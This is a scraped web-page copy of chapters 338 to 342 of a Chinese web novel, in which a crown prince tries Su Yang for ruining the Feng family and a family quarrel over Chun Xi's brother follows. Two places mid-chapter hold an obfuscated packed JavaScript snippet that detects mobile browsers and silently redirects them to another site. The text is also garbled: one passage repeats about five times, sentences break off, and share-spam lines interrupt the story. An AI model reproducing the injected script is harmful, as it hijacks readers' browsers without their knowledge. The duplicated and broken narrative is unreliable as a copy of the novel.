有信物在手,他的话自然多了两分可信度,春喜还是不慌,从容道:“巧了,我也有证人,可以证明这玉佩是苏公子前不久才买回来的,连这上面的字都是最近才找人刻上去的。” 春喜说完,没等她传证人,冯茵茵再也忍不住,扑上去对着苏扬又抓又咬:“畜生!浑蛋!你明知自己有婚约,还故意接近我,骗我欢心,我要杀了你!” 第338章 沈夫人,我知错了 怨怒太深,冯茵茵爆发出惊人的力量,苏扬没躲开,竟被死死压制,脸上脖子上被挠出好多道血痕,要不是春喜及时让人把冯茵茵拉开,苏扬的耳朵都差点儿被咬掉。 鲜血顺着脖子涌出,苏扬发出杀猪般的哀嚎,而他的衣襟被扯开大半,露出左胸口的一小片疤。 他约莫怕疼,不敢对自己太狠,疤痕并不严重,依稀还能看出是刺的两个字。 恒阳公主挑眉:“啧,还真是刺了人家姑娘的小字骗人欢心啊。” 这边动静闹得大,萧夜辰带着一众男客赶来,和他一起来的还有太子。 太子看热闹不嫌事大,好奇地问:“这是发生什么事了,本宫瞧姑姑这架势像是要开堂审犯人啊。” 恒阳公主站起身,让出太师椅,又把前因后果简单跟太子说了一遍:“虽然皇兄前不久给了我封赏,但我到底没有给人定罪判刑的权力,这件事还得请太子代劳。” 太子环视一周,看向沈清渊:“本宫觉得在场的人中,论断案恐怕没有人能胜过沈大人。” “此事涉及内子,下官应当避嫌,还请太子殿下主持公道。” 沈清渊都这么说了,太子便不再推辞,坐到太师椅上,萧夫人也让下人及时搬来椅子和屏风,将男女宾客隔开。 苏扬今日本来是想好好展露一下自己的才华,结交权贵的,冯茵茵的出现打了他一个措手不及,太子要亲审这件事更让他后背发凉。 他不知道曹春喜是什么时候跟冯茵茵联手的,对冯家的事又查到了什么程度,原本他想哄着冯茵茵,私下解决这件事,没想到恒阳公主和太子要现场审问。 事发太突然,苏扬的脑子有点儿乱,还没等他想好应对之策,太子便开了口:“谁是苦主,出来说话。” 冯茵茵跪下,又把冯家发生的事仔仔细细说了一遍,最后她道:“苏扬回冯家后,处处对民女献殷勤,且在两年前就与民女订下婚约,就算沈夫人与他的娃娃亲还在,那也是他毁约在先,而且去年年初他就已回到瀚京,那时沈夫人尚未嫁人,他却不曾露面,如今再拿娃娃亲说事,分明是眼红沈夫人如今日子过得好,故意借题发挥想从沈夫人身上捞好处!” 春喜给了冯茵茵在太子面前申冤的机会,冯茵茵自然投桃报李,当众维护春喜的名声。 不管这桩娃娃亲还算不算数,春喜都是没有过错的。 苏扬恼恨冯茵茵如此指控自己,大声辩驳:“太子殿下,我没有,是这个贱人撒谎……” 话没说完,便有宫人上前狠狠扇了苏扬两巴掌:“放肆!太子殿下还没有让你说话,谁给你的胆子在这儿大呼小叫?” 苏扬本就被挠花了脸,这会儿又挨了两巴掌,脸上火辣辣的疼得厉害,顿时低下头不敢再说话。 太子看着冯茵茵问:“姑娘方才说这些可有证据?” “有,苏扬为了讨民女欢心,在左胸处刺了民女的小字,这会儿他胸口还有疤,而且沈夫人还帮民女找到了一些人证。” 春喜早就准备好了一切,等冯茵茵说完,便让人带了证人来。 冯家对冯茵茵很是疼爱,对冯茵茵的婚事也很看重,虽然苏扬之前表现得对冯茵茵情深不已,冯家还是请了禹州一位德高望重的老先生为两人作证写下婚书。 一是对两人的美好祝愿,二也是防止苏扬考了好名次变心或是被人榜下捉婿。 春喜找来了这位老先生,也找来了冯家医馆以前的伙计和坐堂大夫,甚至还找来了之前在苏父镖局做事的人。 这些人能证明苏扬勾结外人谋害冯家人,也能证明曹苏两家的娃娃亲早就废止不作数了,苏扬就是个彻头彻尾的小人。 苏扬一开始还想着要如何为自己辩解,看着证人一个个走进来,脸上的血色一点点退尽,满脑子只剩下一个念头。 完了! 他在禹州做的那些事,全都被曹春喜查出来了。 他不该因为一念之仁留着冯茵茵的。 大冷的天,苏扬却是冷汗直流,他不再想该怎么为自己脱罪,而是想着要如何说才能减轻自己的罪责。 正想得入神,苏母的声音突然传来:“都是我做的,你们要抓就抓我,别抓我儿,是我买通冯家医馆的伙计往里面掺假药害人的,也是我故意找了要病死的无赖去讹冯家的,我罪该万死,但我儿什么都不知道,他是无辜的。” 苏母把所有的罪责都揽到自己身上,把苏扬撇得干干净净。 苏扬皱眉,挣扎片刻做出决断:“娘,外祖父和舅舅待我们不薄,您怎么能这么狠心他们呢?” 苏扬的声音很大,且义正言辞。 好像他真的跟这些事毫无干系。 苏母愣了一下,瞳孔微微震颤,但很快她就反应过来,红着眼配合。 “扬儿,你看到的都是表象,你外祖父和舅舅对你好是因为看中你的学识,希望你日后做了官能给他们长脸,他们根本不是真心为你着想,娘要是不为你筹谋,你以后就只能在冯家做个赘婿,这辈子都抬不起头来,那你寒窗苦读这么多年都白费了。” 苏母说完便要撞柱,好在萧夜辰及时出手拦住了她。 苏扬眸底闪过失望,怕被人看见,他迅速低头对太子道:“太子殿下,我虽然对我娘做的这些事毫不知情,但我娘毕竟对我有生养之恩,她年纪大了受不住刑罚,求太子殿下放过我娘,我愿替我娘受罚!” 苏扬说着一头磕在地上,一片孝心简直要感天动地。 然而太子毫无动容,甚至冷笑了出声:“本宫听说过断尾求生,倒是第一次看到有人送亲娘去死来保全自己的,你是不是觉得天底下只有你一个聪明人,别人都是傻子?” 太子的语气满是讽刺,苏扬还想说话,太子抢先一步开口:“来人,给本宫打断他的腿。” 太子一声令下,立刻有人来摁苏扬,苏扬心头大乱,看向春喜大喊:“沈夫人,我错了,我不该贪得无厌招惹你,求你放过我吧!” 春喜冷着脸,眉眼未动。 苏扬不是知错了,而是知道自己要死了,这种时候的忏悔,一文不值。 第339章 禾儿跟沈夫人不一样 怕真的被打断腿,苏扬到底承认了自己犯下的罪行。 苏父离世后,他和苏母一起投奔冯家。 外祖父和舅舅待他都挺好的,就是舅母说话有些刻薄,不是怪他读书花销太大,就是怪苏母经常生病,白拿医馆的药材,害得医馆不赚钱。 起初苏扬并不在意,可听得多了,心里不免生出怨怼,于是他开始给冯茵茵献殷勤,搏得冯茵茵的好感。 舅母知道后,果然很不高兴,但他在外祖父和舅舅面前表现得很好,冯茵茵又对他死心塌地,舅母再怎么反对也没用。 每次看到舅母吃瘪的样子,苏扬心里都很畅快,但想到他如果真的娶了冯茵茵,就得一辈子听舅母的念叨,苏扬就很烦躁。 于是他勾结外人,买通医馆的伙计,偷偷往医馆里塞假药材,用假药材省下来的钱有一半都进了他的腰包,他从中拿出很小的一部分买来礼物就能让冯茵茵开心很久。 回京赶考之前,他给冯家准备了一份大礼,得知冯家家破人亡,想到舅母在牢里痛不欲生,却连罪魁祸首是谁都不知道,他只觉得痛快极了。 听完苏扬的供述,冯茵茵气得浑身发抖:“我母亲就是刀子嘴豆腐心,你娘身子不好,到了冬日总是咳嗽,我母亲都是买最好的银炭给她取暖,你要念书,我母亲送你去禹州最好的学堂,便是那昂贵的宣纸也从未短缺,她给了你这么多实实在在的好,你却因为几句话记恨她到如此地步,你的良心是被狗吃了吗? 事已至此,苏扬不再伪装,他斜睨着冯茵茵,嘲讽道:“刀子没落在你身上,你自然不觉得疼,而且你母亲给我们母子这点小恩小惠,不过是盼着我日后出人头地能够对她感恩戴德。 小恩小惠? 苏扬母子可不是在冯家住了一两个月,而是住了近十年。 这十年他们母子的吃穿用度足有好几百两,离京之前,冯父更是给了苏扬一大笔钱。 冯家几乎是用了近半家财来托举苏扬,甚至还要把冯茵茵嫁给他,这些在苏扬眼里竟都不值一提! 冯茵茵气得说不出话来,在场其他人听完苏扬的话也都有些气愤。 都说升米恩,斗米仇,这个苏扬好歹是饱读诗书之辈,竟然也是如此的忘恩负义,若是没有冯家,他根本不可能考中进士,他却把冯家害得家破人亡,便是被千刀万剐也不为过。 苏扬已经供认不讳,太子准备直接定罪,春喜在这时站出来:“太子殿下,臣妇有个提议想说。 “沈夫人请讲。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “苏扬恩将仇报,实在罪不容诛,但在杀他之前,臣妇以为,应该将他游街三日,同时让各地官府贴出告示,将他的罪行昭告天下,也能警示其他人,莫要做这等忘恩负义之徒。” 面对冯茵茵时,苏扬还能大言不惭,听到春喜的话,他却变了脸色,忍不住怒骂:“曹春喜,你这个毒妇,我就是做鬼都不会放过你……呜呜!” 苏扬话没说完,就被堵了嘴。 恒阳公主冷声笑道:“阿喜说得对,这女子若是犯下谋害夫家之事,便要被游街浸猪笼,男子也当如此,他不是觉得自己委屈吗,那就让天下人一起来评评看他到底有没有错。” 恒阳公主说完,萧清禾也站出来:“请太子殿下严惩此人,告诫天下。” 春喜和恒阳公主出来说话大家都觉得没问题,萧清禾站出来后,却引发了不小的议论。 虽说陛下前不久封了萧清禾做县主,但她毕竟是和离妇,行事应该低调些才对,不该跟着春喜和恒阳公主一起多管闲事。 她非要严惩苏扬,不会是因为自己感情受创,就仇视男子了吧? 众人窃窃私语,朝萧清禾投去异样的目光。 萧清禾背脊挺直,面不改色,这时萧夜辰走到她身旁,沉沉开口:“太子殿下,微臣也赞同沈夫人的提议,苏扬这等小人行径,微臣同为男子都觉得不齿,将他的败类行径昭告天下,既能警醒世人,也能告慰亡灵。” 萧夜辰站出来后,沈清渊和萧家男丁也都跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318527|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发声,太子果断下令,将苏扬和苏母游街三日,然后问斩。 听到判决,冯茵茵泣不成声,只不住向太子磕头谢恩。 很快,苏扬和苏母被带走,开府宴继续。 春喜刚把冯茵茵扶起来,还没来得及安抚,就听到靖安侯夫人对萧清禾说:“禾儿,虽然前不久陛下才封了你做县主,但你毕竟是和离妇,以后遇到这种事还是少掺和得好,不然容易惹人非议。” 靖安侯夫人语气温和,看萧清禾的眼神也带着长辈的慈爱,完全是一副为了禾儿好的姿态,但说出来的话却带着责备,并不动听。 春喜拍拍冯茵茵的手背,偏头看向靖安侯夫人:“方才是我跟太子殿下提的议,夫人不怪我,怎么怪起禾儿来了?” 靖安侯夫人听出春喜的维护之意,温声道:“那苏扬要恶意攀咬沈夫人,沈夫人要求严惩他是应该的,而且沈夫人如今儿女双全,又深得沈大人宠爱,前不久还得了诰命,行事张扬些也是应该的,但禾儿不一样。” “如何不一样?” “禾儿嫁了人又和离了,这名声本就不好听,若想再嫁,自然要比其他女子更加谨言慎行才对。” 靖安侯夫人夫家和娘家族中待婚的儿郎都很多,她很想从中做媒,促成和萧家的姻亲的,因此看萧清禾时不自觉带了审视。 萧清禾要低调,温顺,她才好从中牵线。 春喜觉得靖安侯夫人这话有些可笑,正要反驳,萧清禾先一步道:“伯母的好意禾儿心领了,不过我之所以选择和离,就是为了不委屈自己,能够恣意而活,而且我家长辈皆在,自有他们教我该如何为人处世,就不劳伯母多费心了。” 萧清禾的声音轻柔,说出来的话却十分硬气。 靖安侯夫人一直觉得萧清禾温柔懂事,没想到会被如此顶撞,她压着怒火道:“禾儿,你还年轻,好多事没有经历过,应该多听听过来人的话,不然以后有你后悔的时候!” 萧清禾弯眸:“以后的事谁也说不清,我不能为了不确定的以后就委屈眼下的自己。” 第340章 给大哥塞狐狸精 靖安侯夫人被气走。 春喜冲萧清禾竖起大拇指:“我刚刚还担心禾儿会把她的话听进去,你能想得这么通透就太好啦。” 萧清禾笑容清浅:“从我决定和离开始就知道以后会承担什么,若是连这几句话都承受不住,那我未免也太没用了。” 春喜深以为然,回头见冯茵茵神情恍惚、魂不守舍,担心她会出什么问题,便让她先回府待着。 开府宴顺利进行,萧夫人操持得很用心,饭菜酒水都是上乘,席间众人的话题便又回到萧夜辰身上。 虽然之前萧家没有特意提过萧夜辰,但从今日来看,萧家还是很看重萧夜辰的。 萧夜辰有军功在身,府上人丁又简单,背后还有萧家可以依靠,实在是很好的成婚人选,家中有适婚姑娘的夫人都动了心思,全都拐着弯儿地找萧夫人打探消息。 萧夫人之前都是含糊其辞,今天却一改常态,说萧夜辰已经有喜欢的人了,众人不免失望。 “之前不是说他忙着正事,没功夫考虑儿女情长的事吗,这才几日,怎么就有心仪的姑娘了,夫人你不会是诓我们,想把他留给自家人吧?” 工部侍郎家的夫人不愿意相信。 她女儿在宫宴上见过萧夜辰一面,便对这位威风凛凛的少将军动了春心,日日在家缠闹着要她从中撮合,如何能接受这个消息? 萧夫人笑着开口:“辰儿这孩子品行端正,又有主见,他虽姓萧,却与萧家没有血缘关系,他若是喜欢家中的姑娘,我大大方方为他们定下婚事就行,何必藏着掖着?确实是他自己有心仪之人,但不愿告诉我,我总不能对他严刑拷打吧?” 萧夫人说得在理,众人又追问了一番,却没问出什么有用的线索,不免在心里犯嘀咕。 这萧夜辰立了功,又得了御赐的府邸,完全可以光明正大地向心仪之人提亲,这般支支吾吾不肯直说,该不会是喜欢上有夫之妇了吧? 这些事跟春喜无关,春喜只听了一耳就专心干饭。 恒阳公主见她吃得香,忍不住多吃了两口,嘴里抱怨:“阿喜生完很快就瘦下来了,现在吃这么多也不胖,本公主日日克制,腰还是比之前胖了两圈,老天真是不公啊。” 生孩子很伤元气,恒阳公主虽然很想克制,但架不住皇后和太后不住派人往公主府送滋补的东西,公主府的厨子更是绞尽脑汁变着花样地做好吃的。 春喜连忙道:“我有一套自创的拳法,公主若是不嫌弃,明日我来府上教教公主,公主每日早晚饭后 休息一炷香后打一打,坚持一个月应该能有些成效。” “本公主当然不嫌弃,”恒阳公主答得毫不犹豫,片刻后反应过来,又道,“好啊,本公主有什么好东西都第一时间想着阿喜,阿喜却藏着这么好的法子独美,实在是太过分了。” “臣妇冤枉,这套拳法也是臣妇出月子后自己慢慢摸索出来的,臣妇得先亲身实践过才敢告诉公主,而且公主身边有御医还有宫里的嬷嬷照顾着,他们肯定有的是法子让公主在不损伤贵体的情况瘦下来啊。” 恒阳公主听到这话就来气,她愤愤道:“他们当然有法子,但母后和皇嫂都说本公主胖点儿好看,他们哪敢让本公主瘦下来?” “那臣妇……” 春喜故意露出犹豫之色,恒阳公主立刻揽住她的肩膀威胁:“阿喜已经答应教我了,要是敢出尔反尔,本公主可饶不了你!” 春喜没再逗公主,笑着应是。 席间没再生什么事端,春喜惦记着冯茵茵,宴席一结束,就先一步回府。 刚进门,她就发现阿鲤低着头像是在抹泪。 “阿鲤,发生什么事了,你怎么哭了?” 春喜很是意外。 阿鲤到府里快一年了,做事认真,人也积极乐观,逢年过节他也总是乐呵呵的,从来没有悲春伤秋过。 “小人没事,就是眼睛不小心进沙子了,”阿鲤摇头否认,春喜没信,一直盯着他,过了会儿,他小声说,“小人今天看到一个人长得很像岚舒公子,他还分了小人一块桃酥吃。” 岚舒? 春喜愕然,不过很快就反应过来,她没再追问,只道:“也许只是长得有点像吧,别哭了,你现在每个月都有月钱可以拿,要是喜欢吃桃酥,以后可以自己买。” 阿鲤重重点头,擦干眼泪。 安抚好他,春喜去了客房。 房间里,冯茵茵呆呆地坐着,像是没有灵魂的木偶,厨房送来的饭菜放在桌上一动没动。 看到春喜,冯茵茵立刻回神:“多谢夫人帮民女主持公道,民女余生愿当牛做马,一辈子伺候夫人。” 说着话,冯茵茵又要跪下磕头,春喜扶住她,温声道:“我查出真相不光是为了你,也是为了我自己,而且我夫君为官,所得俸禄也都来自百姓,为百姓伸冤是我们应该做的。” 春喜并不以恩人的姿态自居,而是把这视作自己的分内事。 冯茵茵一时不知该如何反驳,没了声音。 春喜递给她帕子擦泪,柔声问:“如今 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案, 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沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 大仇得报,姑娘日后可有什么打算?” 冯茵茵满脸茫然。 母亲死后,她也想跟着去,是虎叔出现,告诉她真相让她有了活下去的动力,如今苏扬母子被定罪,她整个人一下子没了主心骨,她本想在沈夫人身边报恩,可沈夫人不要她…… 沉默良久,冯茵茵开口:“我想等苏家母子游街结束,回禹州去守着我祖父爹娘和兄长他们。” 春喜点点头:“禹州的官员很快就会收到消息为你家翻案,到时官府会把你家的医馆还回来,你不是跟你祖父学了一些医术吗,可以继续把医馆开下去,你别害怕,我会让虎叔带人护送你回去,等你在禹州安定下来,一切步入正轨,他们才会离开。” 冯茵茵并不是天生为奴的人,春喜不想用那点恩情把她禁锢在身边。 冯茵茵眨眨眼,点头道:“好,我都听夫人的。” 两日后,官差押着苏扬母子去游街,一大早,冯茵茵就出门去了。 然而直到夜里她都没回来。 春喜去教恒阳公主拳法,被恒阳公主留宿,第二天上午她刚到家,便见大嫂钱氏和钱父钱母堵在府门口。 “曹春喜,你这个没良心的,我女儿可是给你大哥生了个大胖小子,你怎么能趁你大嫂不在家往你大哥身边塞狐狸精?” 第341章 阿喜要让冯姑娘做新大嫂吗? “人家都说宁拆十座庙,不破一桩婚,你赶紧跟我们一起去把那个狐狸精带走! 钱母很是生气,说着话就要来拽春喜,马夫第一时间挡在春喜面前,门房也及时通知护院出来保护。 钱父钱母本来气势汹汹,这会儿看到沈府跑出来这么多人,这才意识到春喜已经不是曹家那个普普通通的小丫鬟了。 她是正儿八经的官夫人,甚至还得了朝廷的诰命。 春喜这边人多势众,钱母见耍不了横,便一屁股坐在地上卖惨:“老天爷,这日子没法过了,这小姑子飞上枝头变凤凰,就瞧不上自家大嫂了,要让他大哥抛妻弃子另寻新欢,真是作孽啊! 钱父拉不下脸来哭,只能凶钱氏:“你男人都要被狐狸精抢走了,你还像木头一样杵在这里干什么? 正儿被吓得嗷嗷大哭起来,钱氏流着泪看了春喜一眼,又飞快低下头去。 之前她因为丢了太傅府奶娘的差事怨过春喜,后来听说太傅府被满门抄斩,她又后怕起来。 太傅府犯了那么重的罪,她如果没有早些离开,说不定也会被牵连,阿喜也许是为她好的. 可她已经跟武哥置气回了娘家,爹娘不许她自己带着孩子回,非要武哥主动登门认错赔罪不可。 她拗不过爹娘,只能盼着武哥来接自己和孩子,可这次武哥像是铁了心,一点儿软都不肯服。 这些日子她在娘家每日都受爹娘和兄嫂挤兑,日子过得比在婆家难受多了,昨日因为正儿哭闹,兄嫂又指桑骂槐说她们娘俩在娘家吃白食,她实在没忍住,就抱着正儿偷偷回了家。 回家之后她才从李婶嘴里知道武哥开了个木匠铺子,经过这段时间的努力,如今生意已经上了正轨,前几日还接了一笔大买卖。 她又惊又喜,本想等武哥回来跟他认错以后好好过日子,没想到一推门,却发现院子里有个貌美柔弱的姑娘。 那姑娘陪着婆母王氏说着话,两人瞧着关系好极了。 她脑子嗡的一下炸开,冲上去就给了那姑娘一巴掌,武哥恰在这时出现,将她和正儿推开,护在了那姑娘面前。 这一幕像是刀子狠狠插在她胸口,搅得她的心脏鲜血淋漓,她正不知该如何是好,爹娘赶到,场面顿时闹得不可开交。 爹娘骂那女子是狐狸精,骂武哥不是人,婆母听了几句就和爹娘对骂起来,混乱之间,她听到武哥让他们一家都滚远点儿。 武哥虽然长得魁梧吓人,但对她一直都是温柔的,她从来没有见过武哥这么 听说看这本书的人都是很幸运的,分享后你的运气会更棒 凶,从没有过的心慌蔓延开。 这会儿见到春喜,她却一个字都说不出来。 她知道这次是她错了,她不该贪图那十两月钱非要留在太傅府做奶娘,不该因为丢了差事怨恨阿喜,更不该跟武哥置气,听从爹娘撺掇故意拿乔。 现在,她也不该来纠缠春喜。 钱氏不说话,只抱着正儿默默落泪。 钱父看她这窝囊样就来气,抬手就要打钱氏,春喜一个眼神让人制止了钱父:“伯父,有话好好说,别动手。” 听到这声伯父,钱父顿时气焰高涨:“我管教自己的女儿,用不着你来说三道四!” 春喜没应声,护院抓着钱父的手反剪在背后,同时踢中他的膝弯,将他踢得跪下。 钱父吃痛大叫:“曹春喜,我可是你哥的岳父,你这样对我是目无尊长!” 见钱父被摁着跪下,钱母止了哭,扑过去就要护着钱父,被另一个护院摁住。 眼看两人都被制住,钱氏急急开口:“阿喜,求你别这样。” 春喜看向钱氏:“大嫂现在能说话了?” 听到这话,钱氏的脸一下子涨得通红。 她虽然知道自己不该来纠缠春喜,但也没有阻止爹娘,一来觉得爹娘根本不会听她的话,二来也是抱着侥幸,万一爹娘闹一闹,春喜能帮着从中调和一下。 钱父钱母太吵,春喜直接让人堵了他们的嘴:“我有些日子没回娘家了,不知道大嫂和大哥之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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昨日她实在震惊愤怒,只顾着撒泼,根本没有好好跟武哥说话。 难道是她误会了,那武哥现在岂不是对她失望透顶了? 正想着,曹武带着冯茵茵一起出现。 第342章 夫妻缘尽 “武哥……” 钱氏弱弱地喊了一声。 昨日钱父钱母在曹家闹得很凶,曹武脸上有抓挠的伤,冯茵茵的脸也还是肿的,今天又看到他们来堵春喜,曹武脸色很难看:“你们来这里做什么?怎么,打了我还不够,还要打我妹妹?” 钱父钱母的嘴还堵着,没办法说话,钱氏小声解释:“没有,我们只是想来问问阿喜你和冯姑娘到底怎么回事。” 曹武满脸讥诮:“人都打完了,还有什么好问的?” 钱氏一哽,心里难受极了。 这时冯茵茵站出来说:“这位嫂子,你误会了,昨天我不小心晕倒在曹大哥的铺子门口,曹大哥心好,让人送我去了医馆,是医馆的人把我送去曹大哥家休息的,我和曹大哥昨天才第一次见面。” 冯茵茵的解释和春喜的对上了,钱氏越发愧疚,连忙跟曹武道歉:“武哥,对不起,是我昨天太冲动了,我就是……就是怕你喜欢别人不要我和正儿了。” 钱氏说着去拉曹武的手,被曹武躲开:“你爹娘不是说如果我不去你家跟你磕头认错,就让你带着孩子改嫁,你都要改嫁了,还管我做什么?” “我没有,武哥,你对我这么好,我不会改嫁的,我爹娘就是想吓唬吓唬你,其实我早就后悔了。” 钱氏说着又落下泪来。 正儿之前就被钱父吓到,这会儿见钱氏哭,又跟着哭起来。 几个月不见,正儿长大了不少,但一点儿没长胖,小脸儿瞧着还比之前瘦了,已近年关,正儿身上却只穿着一件破破烂烂的袄子,一看就是钱氏娘家兄嫂不知从哪儿寻摸出来的旧衣裳。 曹武没被钱氏的眼泪打动,但看着正儿这样,心脏不由得抽痛。 他正想说话,春喜示意护院放开钱父和钱母。 钱父一得自由,便冲上来打了钱氏一巴掌:“没出息的东西,你受了委屈跑回娘家白吃白喝好几个月,现在说后悔了,你让我和**脸往哪儿搁?” 钱氏被打得一个踉跄,还没反应过来,正儿便被钱母抢了过去。 钱母抱着孩子对曹武道:“这几个月他们娘俩在家里白吃白喝,你就算不来认错,也要先把钱先给我们才能带他们娘俩走。” 曹武刚刚软下去的心又硬起来,他看着钱母问:“岳母想要多少?” 知道曹武开了铺子,旁边还站着个曹春喜,钱母直接狮子大开口:“二十两银子。” 钱母说完,不等曹武说话,钱氏就忍不住惊声叫起:“娘,你疯了, 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 